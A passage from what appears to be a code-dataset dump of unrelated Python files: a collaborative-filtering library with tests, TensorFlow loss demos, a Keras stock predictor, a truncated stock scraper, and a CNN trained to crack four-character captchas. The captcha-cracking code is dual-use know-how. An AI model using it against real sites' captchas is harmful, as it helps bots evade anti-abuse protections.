scored_items\n filtered = np.where(dense_pref_vector != 0, 0, scored_items)\n return [self.item_bimap.get_id(idx) for idx in\n matrix.top_n_indices_for_vector(np.matrix(filtered), n)]\n", "id": "716172", "language": "Python", "matching_score": 1.6689997911453247, "max_stars_count": 2, "path": "cf_tools/recommender/item_item_cf_recommender.py" }, { "content": "from cf_tools.core import matrix, PreferenceVector, similarity\nimport numpy as np\n\nfrom numpy.testing import assert_array_almost_equal, assert_array_equal\nfrom nose.tools import assert_equal, assert_almost_equal\n\n\nUSERS = ['u1', 'u2', 'u3']\nITEMS = ['i1', 'i2']\nPREF_VECTORS = [\n PreferenceVector('u1', {'i1': .5}),\n PreferenceVector('u2', {'i2': 1}),\n PreferenceVector('u3', {'i1': .5, 'i2': .5}),\n]\nUI_MATRIX = matrix.build_user_item_matrix(PREF_VECTORS)\n\n\ndef verify_item_bimap(matrix_model):\n assert_equal(set(matrix_model.item_bimap.id_to_index.keys()), set(ITEMS))\n\n\ndef verify_user_bimap(matrix_model):\n assert_equal(set(matrix_model.user_bimap.id_to_index.keys()), set(USERS))\n\n\ndef verify_matrix_is_symmetric(mat):\n assert_array_equal(mat, mat.T)\n\n\ndef test_build_user_item_matrix():\n verify_user_bimap(UI_MATRIX)\n verify_item_bimap(UI_MATRIX)\n # this assertion is a little brittle since it assumes\n # a certain (non-essential) order of processing the preference vectors\n expected_mat = np.matrix('.5 0; 0 1; .5 .5')\n assert_array_equal(UI_MATRIX.mat, expected_mat)\n\n\ndef test_build_item_similarity_matrix():\n imat = UI_MATRIX.build_item_similarity_matrix()\n verify_item_bimap(imat)\n assert_equal(imat.mat.shape, (2, 2))\n assert_array_almost_equal(np.diag(imat.mat), np.array([1, 1]))\n verify_matrix_is_symmetric(imat.mat)\n expected_cosine = np.sqrt(10) / 10\n assert_almost_equal(imat.mat[0, 1], expected_cosine)\n\n\ndef test_build_user_similarity_matrix():\n umat = UI_MATRIX.build_user_similarity_matrix()\n verify_user_bimap(umat)\n assert_equal(umat.mat.shape, (3, 3))\n assert_array_almost_equal(np.diag(umat.mat), np.array([1, 1, 1]))\n verify_matrix_is_symmetric(umat.mat)\n cosine_1_2 = 0\n cosine_1_3 = np.sqrt(2) / 2\n cosine_2_3 = np.sqrt(2) / 2\n assert_almost_equal(umat.mat[0, 1], cosine_1_2)\n assert_almost_equal(umat.mat[0, 2], cosine_1_3)\n assert_almost_equal(umat.mat[1, 2], cosine_2_3)\n\n\ndef test_build_similarity_matrix():\n # for now, just test the two cosine methods match\n mat = np.matrix('1 2 3; 1 2 3; 0 2 3', dtype=np.double)\n assert_array_almost_equal(\n matrix.fast_cosine_similarity_matrix(mat),\n matrix.build_similarity_matrix(mat, similarity.cosine)\n )\n", "id": "8020513", "language": "Python", "matching_score": 2.689936876296997, "max_stars_count": 2, "path": "tests/test_matrix.py" }, { "content": "from cf_tools.core import PreferenceVector, matrix\nfrom cf_tools.recommender import ItemItemCFRecommender\nimport numpy as np\nimport random\n\nNUM_USERS = 1000\nNUM_ITEMS = 500\nPOSSIBLE_RATINGS = range(1, 6)\n\ndef random_rating():\n # withold some ratings randomly\n return random.choice(POSSIBLE_RATINGS) * random.randint(0, 1)\n\ndef build_vectors(nu=NUM_USERS, ni=NUM_ITEMS):\n for u in xrange(nu):\n p = PreferenceVector(u)\n for i in xrange(ni):\n r = random_rating()\n if r: p.add(i, r)\n yield p\n\ndef test_run():\n vectors = list(build_vectors())\n recommender = ItemItemCFRecommender(matrix.build_user_item_matrix(vectors))\n r1 = recommender.recommendations_for_user(17, n=5)\n r2 = recommender.recommendations_for_pref_vector(vectors[17], n=5)\n assert len(r1) == 5\n np.testing.assert_array_equal(r1, r2)\n\n\n", "id": "11251962", "language": "Python", "matching_score": 1.0526196956634521, "max_stars_count": 2, "path": "tests/test_recommender.py" }, { "content": "from setuptools import setup\n\n# with open('requirements.txt') as requirements:\n# reqs = requirements.read().splitlines()\n\nsetup(\n name='cf_tools',\n version='0.1',\n description=('A library for collaborative filtering'\n 'and similarity-based recommendations'),\n author='<NAME>',\n author_email='<EMAIL>',\n url='https://github.com/matteobanerjee/collaborative_filtering_tools',\n # install_requires=reqs, <-- Currently can't get numpy to install this way\n packages=['cf_tools', 'cf_tools/core', 'cf_tools/recommender'],\n license='MIT'\n)\n", "id": "7301403", "language": "Python", "matching_score": 0.4620155990123749, "max_stars_count": 2, "path": "setup.py" }, { "content": "from item_item_cf_recommender import *\n\n", "id": "9054096", "language": "Python", "matching_score": 0, "max_stars_count": 2, "path": "cf_tools/recommender/__init__.py" }, { "content": "import numpy as np\n\n\ndef cosine(v1, v2):\n return np.dot(v1, v2) / (_norm(v1) * _norm(v2))\n\n\ndef _norm(v):\n return np.sqrt(np.power(v, 2).sum())\n", "id": "826712", "language": "Python", "matching_score": 0, "max_stars_count": 2, "path": "cf_tools/core/similarity.py" } ]
1.05262
JhonLiuljs
[ { "content": "# coding:utf-8\nfrom captcha.image import ImageCaptcha # pip install captcha\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom PIL import Image\nimport random\nimport time\nimport sys\n\nfrom constants import number\nfrom constants import alphabet\nfrom constants import ALPHABET\n\n\n# 验证码一般都无视大小写;验证码长度4个字符\ndef random_captcha_text(char_set=number + alphabet + ALPHABET, captcha_size=4):\n \"\"\" 指定使用的验证码内容列表和长期 返回随机的验证码文本 \"\"\"\n captcha_text = []\n for i in range(captcha_size):\n c = random.choice(char_set)\n captcha_text.append(c)\n return captcha_text\n\n\n# 使用ImageCaptcha库生成验证码\ndef gen_captcha_text_and_image():\n \"\"\"生成字符对应的验证码 \"\"\"\n image = ImageCaptcha() # 导入验证码包 生成一张空白图\n\n captcha_text = random_captcha_text() # 随机一个验证码内容\n captcha_text = ''.join(captcha_text) # 类型转换为字符串\n\n captcha = image.generate(captcha_text)\n # image.write(captcha_text, 'image/' + captcha_text + '.jpg') # 写到文件\n\n # rm = 'rm '+captcha_text + '.jpg'\n # os.system(rm)\n\n captcha_image = Image.open(captcha) # 转换为图片格式\n captcha_image = np.array(captcha_image) # 转换为 np数组类型\n\n return captcha_text, captcha_image\n\n\n# 把彩色图像转为灰度图像(色彩对识别验证码没有什么用)\ndef convert2gray(img):\n if len(img.shape) > 2:\n gray = np.mean(img, -1)\n # 上面的转法较快,正规转法如下\n # r, g, b = img[:,:,0], img[:,:,1], img[:,:,2]\n # gray = 0.2989 * r + 0.5870 * g + 0.1140 * b\n return gray\n else:\n return img\n\n\nif __name__ == '__main__':\n # 测试\n for i in range(10000):\n text, image = gen_captcha_text_and_image()\n print('begin ', time.ctime(), type(image))\n f = plt.figure()\n ax = f.add_subplot(111)\n ax.text(0.1, 0.9, text, ha='center', va='center', transform=ax.transAxes)\n plt.imshow(image)\n # plt.show() # 显示,,取消注释并在30行取消写到文件的注释即可保存为文件\n print('end ', time.ctime())\n print(\"over!\")\n sys.exit()\n\n", "id": "7860515", "language": "Python", "matching_score": 1.883052110671997, "max_stars_count": 0, "path": "1.Cnn_Captcha/gen_captcha.py" }, { "content": "# coding:utf-8\nfrom gen_captcha import gen_captcha_text_and_image\nfrom constants import IMAGE_HEIGHT\nfrom constants import IMAGE_WIDTH\nfrom constants import MAX_CAPTCHA\nfrom constants import CHAR_SET_LEN\n\nimport numpy as np\nimport tensorflow as tf\nimport sys\nimport matplotlib.pyplot as plt\n\n\"\"\"\ncnn在图像大小是2的倍数时性能最高, 如果你用的图像大小不是2的倍数,可以在图像边缘补无用像素。\nnp.pad(image【,((2,3),(2,2)), 'constant', constant_values=(255,)) # 在图像上补2行,下补3行,左补2行,右补2行\n\"\"\"\n##################################\n# 提前定义变量空间 申请占位符 按照图片\nX = tf.placeholder(tf.float32, [None, IMAGE_HEIGHT * IMAGE_WIDTH])\nY = tf.placeholder(tf.float32, [None, MAX_CAPTCHA * CHAR_SET_LEN])\nkeep_prob = tf.placeholder(tf.float32) # dropout\n\n\n# 把彩色图像转为灰度图像(色彩对识别验证码没有什么用)\ndef convert2gray(img):\n if len(img.shape) > 2:\n gray = np.mean(img, -1)\n # 上面的转法较快,正规转法如下\n # r, g, b = img[:,:,0], img[:,:,1], img[:,:,2]\n # gray = 0.2989 * r + 0.5870 * g + 0.1140 * b\n return gray\n else:\n return img\n\n\n\"\"\"\n#向量(大小MAX_CAPTCHA*CHAR_SET_LEN)用0,1编码 每63个编码一个字符,这样顺利有,字符也有\nvec = text2vec(\"F5Sd\")\ntext = vec2text(vec)\nprint(text) # F5Sd\nvec = text2vec(\"SFd5\")\ntext = vec2text(vec)\nprint(text) # SFd5\n\"\"\"\n\n\n# 验证码字符转换为长向量\ndef text2vec(text):\n text_len = len(text)\n if text_len > MAX_CAPTCHA:\n raise ValueError('验证码最长4个字符')\n vector = np.zeros(MAX_CAPTCHA * CHAR_SET_LEN)\n\n def char2pos(c):\n if c == '_':\n k = 62\n return k\n k = ord(c) - 48\n if k > 9:\n k = ord(c) - 55\n if k > 35:\n k = ord(c) - 61\n if k > 61:\n raise ValueError('No Map')\n return k\n\n for i, c in enumerate(text):\n idx = i * CHAR_SET_LEN + char2pos(c)\n vector[idx] = 1\n return vector\n\n\n# 向量转回文本\ndef vec2text(vec):\n char_pos = vec.nonzero()[0]\n text = []\n for i, c in enumerate(char_pos):\n char_at_pos = i # c/63\n char_idx = c % CHAR_SET_LEN\n if char_idx < 10:\n char_code = char_idx + ord('0')\n elif char_idx < 36:\n char_code = char_idx - 10 + ord('A')\n elif char_idx < 62:\n char_code = char_idx - 36 + ord('a')\n elif char_idx == 62:\n char_code = ord('_')\n else:\n raise ValueError('error')\n text.append(chr(char_code))\n return \"\".join(text)\n\n\n# 获得1组验证码数据,生成一个训练batch\ndef get_next_batch(batch_size=128):\n batch_x = np.zeros([batch_size, IMAGE_HEIGHT * IMAGE_WIDTH])\n batch_y = np.zeros([batch_size, MAX_CAPTCHA * CHAR_SET_LEN])\n\n # 有时生成图像大小不是(60, 160, 3)\n def wrap_gen_captcha_text_and_image():\n \"\"\" 获取一张图,判断其是否符合(60,160,3)的规格\"\"\"\n while True:\n text, image = gen_captcha_text_and_image()\n if image.shape == (60, 160, 3): # 此部分应该与开头部分图片宽高吻合\n return text, image\n\n for i in range(batch_size):\n text, image = wrap_gen_captcha_text_and_image()\n image = convert2gray(image)\n\n # 将图片数组一维化 同时将文本也对应在两个二维组的同一行\n batch_x[i, :] = image.flatten() / 255 # (image.flatten()-128)/128 mean为0\n batch_y[i, :] = text2vec(text)\n # 返回该训练批次\n return batch_x, batch_y\n\n\n# 卷积层 附relu max_pool drop操作\ndef conn_layer(w_alpha=0.01, b_alpha=0.1, _keep_prob=0.7, input=None, last_size=None, cur_size=None):\n # 从正太分布输出随机值\n w_c1 = tf.Variable(w_alpha * tf.random_normal([3, 3, last_size, cur_size]))\n b_c1 = tf.Variable(b_alpha * tf.random_normal([cur_size]))\n conv1 = tf.nn.relu(tf.nn.bias_add(tf.nn.conv2d(input, w_c1, strides=[1, 1, 1, 1], padding='SAME'), b_c1))\n conv1 = tf.nn.max_pool(conv1, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding='SAME')\n conv1 = tf.nn.dropout(conv1, keep_prob=_keep_prob)\n return conv1\n\n\n# 对卷积层到全链接层的数据进行变换\ndef _get_conn_last_size(input):\n shape = input.get_shape().as_list()\n dim = 1\n for d in shape[1:]:\n dim *= d\n input = tf.reshape(input, [-1, dim])\n return input, dim\n\n\n# 全链接层\ndef _fc_layer(w_alpha=0.01, b_alpha=0.1, input=None, last_size=None, cur_size=None):\n w_d = tf.Variable(w_alpha * tf.random_normal([last_size, cur_size]))\n b_d = tf.Variable(b_alpha * tf.random_normal([cur_size]))\n fc = tf.nn.bias_add(tf.matmul(input, w_d), b_d)\n return fc\n\n\n# 定义CNN 构建前向传播网络\ndef crack_captcha_cnn():\n # 将占位符 转换为 按照图片给的新样式\n x = tf.reshape(X, shape=[-1, IMAGE_HEIGHT, IMAGE_WIDTH, 1])\n\n conv1 = conn_layer(input=x, last_size=1, cur_size=32)\n conv2 = conn_layer(input=conv1, last_size=32, cur_size=64)\n conn3 = conn_layer(input=conv2, last_size=64, cur_size=64)\n\n input, dim = _get_conn_last_size(conn3)\n\n fc_layer1 = _fc_layer(input=input, last_size=dim, cur_size=1024)\n fc_layer1 = tf.nn.relu(fc_layer1)\n fc_layer1 = tf.nn.dropout(fc_layer1, keep_prob)\n\n fc_out = _fc_layer(input=fc_layer1, last_size=1024, cur_size=MAX_CAPTCHA * CHAR_SET_LEN)\n return fc_out\n\n\n# 反向传播\ndef back_propagation():\n output = crack_captcha_cnn()\n # 学习率\n loss = tf.reduce_mean(tf.nn.sigmoid_cross_entropy_with_logits(logits=output, labels=Y))\n # 最后一层用来分类的softmax和sigmoid有什么不同?\n # optimizer 为了加快训练 learning_rate应该开始大,然后慢慢衰\n optimizer = tf.train.AdamOptimizer(learning_rate=0.001).minimize(loss)\n predict = tf.reshape(output, [-1, MAX_CAPTCHA, CHAR_SET_LEN])\n max_idx_p = tf.arg_max(predict, 2)\n max_idx_l = tf.arg_max(tf.reshape(Y, [-1, MAX_CAPTCHA, CHAR_SET_LEN]), 2)\n accuracy = tf.reduce_mean(tf.cast(tf.equal(max_idx_p, max_idx_l), tf.float32))\n return loss, optimizer, accuracy\n\n\n# 初次运行训练模型\ndef train_first():\n loss, optimizer, accuracy = back_propagation()\n\n with tf.Session() as sess:\n sess.run(tf.global_variables_initializer())\n saver = tf.train.Saver(tf.all_variables())\n step = 0\n while 1:\n batch_x, batch_y = get_next_batch(64)\n _, loss_ = sess.run([optimizer, loss], feed_dict={X: batch_x, Y: batch_y, keep_prob: 0.75})\n # 每100 step计算一次准确率\n if step % 100 == 0:\n batch_x_test, batch_y_test = get_next_batch(100)\n acc = sess.run(accuracy, feed_dict={X: batch_x_test, Y: batch_y_test, keep_prob: 1.})\n print(step, acc, loss_)\n if acc > 0.80: # 准确率大于0.80保存模型 可自行调整\n saver.save(sess, './models/crack_capcha.model', global_step=step)\n break\n step += 1\n\n\n# 加载现有模型 继续进行训练\ndef train_continue(step):\n loss, optimizer, accuracy = back_propagation()\n\n saver = tf.train.Saver(tf.global_variables(), max_to_keep=1)\n with tf.Session() as sess:\n if step is None:\n print(tf.train.latest_checkpoint('./models'))\n saver.restore(sess, tf.train.latest_checkpoint('./models'))\n else:\n path = './models/crack_capcha.model-' + str(step)\n saver.restore(sess, path)\n # 36300 36300 0.9325 0.0147698\n while 1:\n batch_x, batch_y = get_next_batch(100)\n _, loss_ = sess.run([optimizer, loss], feed_dict={X: batch_x, Y: batch_y, keep_prob: 0.75})\n if step % 100 == 0:\n batch_x_test, batch_y_test = get_next_batch(100)\n acc = sess.run(accuracy, feed_dict={X: batch_x_test, Y: batch_y_test, keep_prob: 1.})\n print(step, acc, loss_)\n if acc >= 0.925:\n saver.save(sess, './models/crack_capcha.model', global_step=step)\n if acc >= 0.95:\n saver.save(sess, './models/crack_capcha.model', global_step=step)\n break\n step += 1\n\n\n# 测试训练模型\ndef crack_captcha(captcha_image, step):\n output = crack_captcha_cnn()\n\n saver = tf.train.Saver(tf.global_variables(), max_to_keep=1)\n with tf.Session() as sess:\n if step is None:\n print(tf.train.latest_checkpoint('./models'))\n saver.restore(sess, tf.train.latest_checkpoint('./models'))\n else:\n path = './models/crack_capcha.model-' + str(step)\n saver.restore(sess, path)\n predict = tf.argmax(tf.reshape(output, [-1, MAX_CAPTCHA, CHAR_SET_LEN]), 2)\n text_list = sess.run(predict, feed_dict={X: [captcha_image], keep_prob: 1})\n texts = text_list[0].tolist()\n vector = np.zeros(MAX_CAPTCHA * CHAR_SET_LEN)\n i = 0\n for n in texts:\n vector[i * CHAR_SET_LEN + n] = 1\n i += 1\n return vec2text(vector)\n\n\n'''\n# 定义CNN\ndef crack_captcha_cnn(w_alpha=0.01, b_alpha=0.1):\n # 将占位符 转换为 按照图片给的新样式\n x = tf.reshape(X, shape=[-1, IMAGE_HEIGHT, IMAGE_WIDTH, 1])\n\n # w_c1_alpha = np.sqrt(2.0/(IMAGE_HEIGHT*IMAGE_WIDTH)) #\n # w_c2_alpha = np.sqrt(2.0/(3*3*32))\n # w_c3_alpha = np.sqrt(2.0/(3*3*64))\n # w_d1_alpha = np.sqrt(2.0/(8*32*64))\n # out_alpha = np.sqrt(2.0/1024)\n\n # 3 conv layer\n w_c1 = tf.Variable(w_alpha * tf.random_normal([3, 3, 1, 32])) # 从正太分布输出随机值\n b_c1 = tf.Variable(b_alpha * tf.random_normal([32]))\n conv1 = tf.nn.relu(tf.nn.bias_add(tf.nn.conv2d(x, w_c1, strides=[1, 1, 1, 1], padding='SAME'), b_c1))\n conv1 = tf.nn.max_pool(conv1, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding='SAME')\n conv1 = tf.nn.dropout(conv1, keep_prob)\n\n w_c2 = tf.Variable(w_alpha * tf.random_normal([3, 3, 32, 64]))\n b_c2 = tf.Variable(b_alpha * tf.random_normal([64]))\n conv2 = tf.nn.relu(tf.nn.bias_add(tf.nn.conv2d(conv1, w_c2, strides=[1, 1, 1, 1], padding='SAME'), b_c2))\n conv2 = tf.nn.max_pool(conv2, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding='SAME')\n conv2 = tf.nn.dropout(conv2, keep_prob)\n\n w_c3 = tf.Variable(w_alpha * tf.random_normal([3, 3, 64, 64]))\n b_c3 = tf.Variable(b_alpha * tf.random_normal([64]))\n conv3 = tf.nn.relu(tf.nn.bias_add(tf.nn.conv2d(conv2, w_c3, strides=[1, 1, 1, 1], padding='SAME'), b_c3))\n conv3 = tf.nn.max_pool(conv3, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding='SAME')\n conv3 = tf.nn.dropout(conv3, keep_prob)\n\n # Fully connected layer\n w_d = tf.Variable(w_alpha * tf.random_normal([8 * 20 * 64, 1024]))\n b_d = tf.Variable(b_alpha * tf.random_normal([1024]))\n dense = tf.reshape(conv3, [-1, w_d.get_shape().as_list()[0]])\n dense = tf.nn.relu(tf.add(tf.matmul(dense, w_d), b_d))\n dense = tf.nn.dropout(dense, keep_prob)\n\n w_out = tf.Variable(w_alpha * tf.random_normal([1024, MAX_CAPTCHA * CHAR_SET_LEN]))\n b_out = tf.Variable(b_alpha * tf.random_normal([MAX_CAPTCHA * CHAR_SET_LEN]))\n out = tf.add(tf.matmul(dense, w_out), b_out)\n # out = tf.nn.softmax(out)\n return out\n\n\n# 训练\ndef train_crack_captcha_cnn():\n output = crack_captcha_cnn()\n # loss = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(output, Y))\n loss = tf.reduce_mean(tf.nn.sigmoid_cross_entropy_with_logits(logits=output, labels=Y))\n # 最后一层用来分类的softmax和sigmoid有什么不同?\n # optimizer 为了加快训练 learning_rate应该开始大,然后慢慢衰\n optimizer = tf.train.AdamOptimizer(learning_rate=0.001).minimize(loss)\n\n predict = tf.reshape(output, [-1, MAX_CAPTCHA, CHAR_SET_LEN])\n max_idx_p = tf.argmax(predict, 2)\n max_idx_l = tf.argmax(tf.reshape(Y, [-1, MAX_CAPTCHA, CHAR_SET_LEN]), 2)\n correct_pred = tf.equal(max_idx_p, max_idx_l)\n accuracy = tf.reduce_mean(tf.cast(correct_pred, tf.float32))\n\n saver = tf.train.Saver()\n with tf.Session() as sess:\n sess.run(tf.global_variables_initializer())\n\n step = 0\n while True:\n batch_x, batch_y = get_next_batch(64)\n _, loss_ = sess.run([optimizer, loss], feed_dict={X: batch_x, Y: batch_y, keep_prob: 0.75})\n print(step, loss_)\n\n # 每100 step计算一次准确率\n if step % 100 == 0:\n batch_x_test, batch_y_test = get_next_batch(100)\n acc = sess.run(accuracy, feed_dict={X: batch_x_test, Y: batch_y_test, keep_prob: 1.})\n print(step, acc)\n # 如果准确率大于50%,保存模型,完成训练\n if acc >= 0.95:\n saver.save(sess, \"./crack_capcha.model\", global_step=step)\n break\n step += 1\n'''\n\nif __name__ == '__main__':\n print(\"验证码文本最长字符数\", MAX_CAPTCHA) # 验证码最长4字符; 我全部固定为4,可以不固定. 如果验证码长度小于4,用'_'补齐\n # 训练和测试开关\n train = True\n if train:\n # train_continue(36300)\n train_first()\n else:\n m_text, m_image = gen_captcha_text_and_image()\n\n f = plt.figure()\n ax = f.add_subplot(111)\n ax.text(0.1, 0.9, m_text, ha='center', va='center', transform=ax.transAxes)\n plt.imshow(m_image)\n plt.show()\n\n image = convert2gray(m_image) # 生成一张新图把彩色图像转为灰度图像\n image = image.flatten() / 255 # 将图片一维化\n\n predict_text = crack_captcha(image, None) # 导入模型识别\n print(\"正确: {} 预测: {}\".format(m_text, predict_text))\n sys.exit()\n", "id": "3216204", "language": "Python", "matching_score": 2.979163408279419, "max_stars_count": 0, "path": "1.Cnn_Captcha/main.py" }, { "content": "# coding:utf-8\n\"\"\"\nloss测试\n\"\"\"\nimport tensorflow as tf\nimport sys\n\n\nclass Loss:\n def __init__(self, data_type=1):\n self.labels = [[0.2, 0.3, 0.5],\n [0.1, 0.6, 0.3]]\n self.logits = [[2, 0.5, 1],\n [0.1, 1, 3]]\n self.logits_scaled = tf.nn.softmax(self.logits)\n\n def softmax_cross_entropy_with_logits(self, ):\n \"\"\"\n 1、这个操作的输入logits是未经缩放的,该操作内部会对logits使用softmax操作。\n 2、 参数labels,logits必须有相同的形状 [batch_size, num_classes] 和相同的类型。\n 3、求交叉熵的公式中常常使用的是以2为底的log函数,这一点便于我们验证\n 函数内部的 logits 不能进行缩放,因为在这个工作会在该函数内部进行(注意函数名称中的 softmax ,它负责完成原始数据的归一化),\n 如果 logits 进行了缩放,那么反而会影响计算正确性。\n \"\"\"\n result1 = tf.nn.softmax_cross_entropy_with_logits(labels=self.labels, logits=self.logits)\n result2 = -tf.reduce_mean(self.labels * tf.log(self.logits_scaled), 0) # 0表示列上行动,加和或者求平均值\n b = self.labels * tf.log(self.logits_scaled)\n a = tf.log(self.logits_scaled) # 这个表示以2为底的log()\n result3 = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(labels=self.labels, logits=self.logits))\n with tf.Session() as sess:\n print(\"a:\", sess.run(a))\n print(\"b:\", sess.run(b))\n print(\"logits_scaled:\", sess.run(self.logits_scaled))\n print(\"result1:\", sess.run(result1))\n print(\"result2:\", sess.run(result2))\n print(\"result3:\", sess.run(result3))\n\n def sparse_softmax_cross_entropy_with_logits(self, ):\n \"\"\"\n 这是一个TensorFlow中经常需要用到的函数。\n 官方文档里面有对它详细的说明,\n 传入的logits为神经网络输出层的输出,\n shape为[batch_size,num_classes],\n 传入的label为一个一维的vector,长度等于batch_size,\n 每一个值的取值区间必须是[0,num_classes),其实每一个值就是代表了batch中对应样本的类别。\n 这个函数内部会进行两步:\n 1、对结果进行softmax归一化\n 由于tf.nn.sparse_softmax_cross_entropy_with_logits()输入的label格式为一维的向量,\n 所以首先需要将其转化为one-hot格式的编码,\n 例如如果分量为3,代表该样本属于第四类,其对应的one-hot格式label为[0,0,0,1,…0],\n 而如果你的label已经是one-hot格式,\n 则可以使用tf.nn.softmax_cross_entropy_with_logits()(上面刚刚介绍的)函数来进行softmax和loss的计算。\n :return:\n \"\"\"\n self.labels = [2, 1]\n logits_scaled = tf.nn.softmax(self.logits)\n result1 = tf.nn.sparse_softmax_cross_entropy_with_logits(labels=self.labels, logits=self.logits)\n with tf.Session() as sess:\n print(\"logits_scaled:\", sess.run(logits_scaled))\n print(\"result1:\", sess.run(result1))\n\n\nif __name__ == \"__main__\":\n loss = Loss()\n loss.softmax_cross_entropy_with_logits()\n sys.exit()\n", "id": "5231162", "language": "Python", "matching_score": 0.7479389905929565, "max_stars_count": 0, "path": "conceptual_learning/loss.py" }, { "content": "from mpl_finance import candlestick_ohlc\nimport tushare as ts\nimport matplotlib.pyplot as plt\nfrom matplotlib.pylab import date2num\nimport datetime\nimport numpy as np\nfrom pandas import DataFrame\nfrom numpy import row_stack, column_stack\n\ndf = ts.get_hist_data('601857', start='2016-06-15', end='2017-11-06')\ndd = df[['open', 'high', 'low', 'close']]\n\n# print(dd.values.shape[0])\n\ndd1 = dd.sort_index()\n\ndd2 = dd1.values.flatten()\n\ng1 = dd2[::-1]\n\ng2 = g1[0:120]\n\ng3 = g2[::-1]\n\ngg = DataFrame(g3)\n\ngg.T.to_excel('gg.xls')\n\n# dd3=pd.DataFrame(dd2)\n# dd3.T.to_excel('d8.xls')\n\ng = dd2[0:140]\nfor i in range(dd.values.shape[0] - 34):\n s = dd2[i * 4:i * 4 + 140]\n g = row_stack((g, s))\n\nfg = DataFrame(g)\n\nprint(fg)\nfg.to_excel('fg.xls')\n\n# -*- coding: utf-8 -*-\n# 建立、训练多层神经网络,并完成模型的检验\n# from __future__ import print_function\nimport pandas as pd\n\ninputfile1 = 'fg.xls' # 训练数据\ntestoutputfile = 'test_output_data.xls' # 测试数据模型输出文件\ndata_train = pd.read_excel(inputfile1) # 读入训练数据(由日志标记事件是否为洗浴)\ndata_mean = data_train.mean()\ndata_std = data_train.std()\ndata_train1 = (data_train - data_mean) / 5 # 数据标准化\n\ny_train = data_train1.iloc[:, 120:140].values # 训练样本标签列\nx_train = data_train1.iloc[:, 0:120].values # 训练样本特征\n# y_test = data_test.iloc[:,4].values #测试样本标签列\n\nfrom keras.models import Sequential\nfrom keras.layers.core import Dense, Dropout, Activation\n\nmodel = Sequential() # 建立模型\nmodel.add(Dense(input_dim=120, units=240)) # 添加输入层、隐藏层的连接\nmodel.add(Activation('relu')) # 以Relu函数为激活函数\nmodel.add(Dense(input_dim=240, units=120)) # 添加隐藏层、隐藏层的连接\nmodel.add(Activation('relu')) # 以Relu函数为激活函数\nmodel.add(Dense(input_dim=120, units=120)) # 添加隐藏层、隐藏层的连接\nmodel.add(Activation('relu')) # 以Relu函数为激活函数\nmodel.add(Dense(input_dim=120, units=20)) # 添加隐藏层、输出层的连接\nmodel.add(Activation('sigmoid')) # 以sigmoid函数为激活函数\n# 编译模型,损失函数为binary_crossentropy,用adam法求解\nmodel.compile(loss='mean_squared_error', optimizer='adam')\n\nmodel.fit(x_train, y_train, epochs=100, batch_size=8) # 训练模型\nmodel.save_weights('net.model') # 保存模型参数\n\ninputfile2 = 'gg.xls' # 预测数据\npre = pd.read_excel(inputfile2)\n\npre_mean = data_mean[0:120]\npre_std = pre.std()\npre1 = (pre - pre_mean) / 5 # 数据标准化\n\npre2 = pre1.iloc[:, 0:120].values # 预测样本特征\nr = pd.DataFrame(model.predict(pre2))\nrt = r * 5 + data_mean[120:140].values\nprint(rt.round(2))\n\nrt.to_excel('rt.xls')\n\n# print(r.values@data_train.iloc[:,116:120].std().values+data_mean[116:120].values)\n\n\na = list(df.index[0:-1])\n\nb = a[0]\n\nc = datetime.datetime.strptime(b, '%Y-%m-%d')\n\nd = date2num(c)\n\nc1 = [d + i + 1 for i in range(5)]\nc2 = np.array([c1])\n\nr1 = rt.values.flatten()\nr2 = r1[0:4]\nfor i in range(4):\n r3 = r1[i * 4 + 4:i * 4 + 8]\n r2 = row_stack((r2, r3))\n\nc3 = column_stack((c2.T, r2))\nr5 = DataFrame(c3)\n\nif len(c3) == 0:\n raise SystemExit\n\nfig, ax = plt.subplots()\nfig.subplots_adjust(bottom=0.2)\n\n# ax.xaxis.set_major_locator(mondays)\n# ax.xaxis.set_minor_locator(alldays)\n# ax.xaxis.set_major_formatter(mondayFormatter)\n# ax.xaxis.set_minor_formatter(dayFormatter)\n\n# plot_day_summary(ax, quotes, ticksize=3)\ncandlestick_ohlc(ax, c3, width=0.6, colorup='r', colordown='g')\n\nax.xaxis_date()\nax.autoscale_view()\nplt.setp(plt.gca().get_xticklabels(), rotation=45, horizontalalignment='right')\n\nax.grid(True)\n# plt.title('000002')\nplt.show()\n", "id": "1439847", "language": "Python", "matching_score": 2.0351476669311523, "max_stars_count": 0, "path": "conceptual_learning/test.py" }, { "content": "# coding:utf-8\n\"\"\"\n东方数据网获得股票代码,再从百度股票获得股票信息,并保存至文件\n\"\"\"\nimport re\nfrom bs4 import BeautifulSoup\nimport requests\nimport traceback\nimport os\nimport csv\nimport pymongo\n\nglobal stocks\n\n'''\nmongodb 删除数据库\nuse test;\ndb.dropDatabase();\nmongodb删除表\ndb.mytable.drop();\n清空表\ndb.mytable.remove({})\nstocks.remove({\"code\": code})\n stocks.insert({\"code\": code, \"name\": name, \"date_start\": date_start, \"share_total\": share_total,\n \"share_outstanding\": share_outstanding})\n'''\n\nimport requests, re, json, time, os\nimport heapq\nfrom bs4 import BeautifulSoup\n\n\ndef item_in_a_and_b(a, b):\n temp_l = []\n for itema in a:\n for itemb in b:\n if itema[1] == itemb[1]:\n itema.append(itemb[2])\n temp_l.append(itema)\n return temp_l\n\n\nclass GPINFO(object):\n \"\"\"docstring for GPINFO\"\"\"\n\n def __init__(self):\n self.Url = 'http://quote.eastmoney.com/stocklist.html'\n self.BaseData = []\n self.Date = time.strftime('%Y%m%d')\n self.Record = 'basedata' + self.Date\n if os.path.exists(self.Record):\n print('record exist...')\n self.BaseData = self.get_base_data_from_record()\n else:\n print('fuck-get data again...')\n self.get_data()\n\n def write_record(self, text):\n with open(self.Record, 'ab') as f:\n f.write((text + '\\n').encode('utf-8'))\n\n def get_base_data_from_record(self):\n ll = []\n with open(self.Record, 'rb') as f:\n json_l = f.readlines()\n for j in json_l:\n ll.append(json.loads(j.decode('utf-8')))\n return ll\n\n def get_data(self):\n # 请求数据\n orihtml = requests.get(self.Url).content\n # 创建 beautifulsoup 对象\n soup = BeautifulSoup(orihtml, 'lxml')\n # 采集每一个股票的信息\n count = 0\n for a in soup.find('div', class_='quotebody').find_all('a', {'target': '_blank'}):\n record_d = {}\n # 代号\n num = a.get_text().split('(')[1].strip(')')\n if not 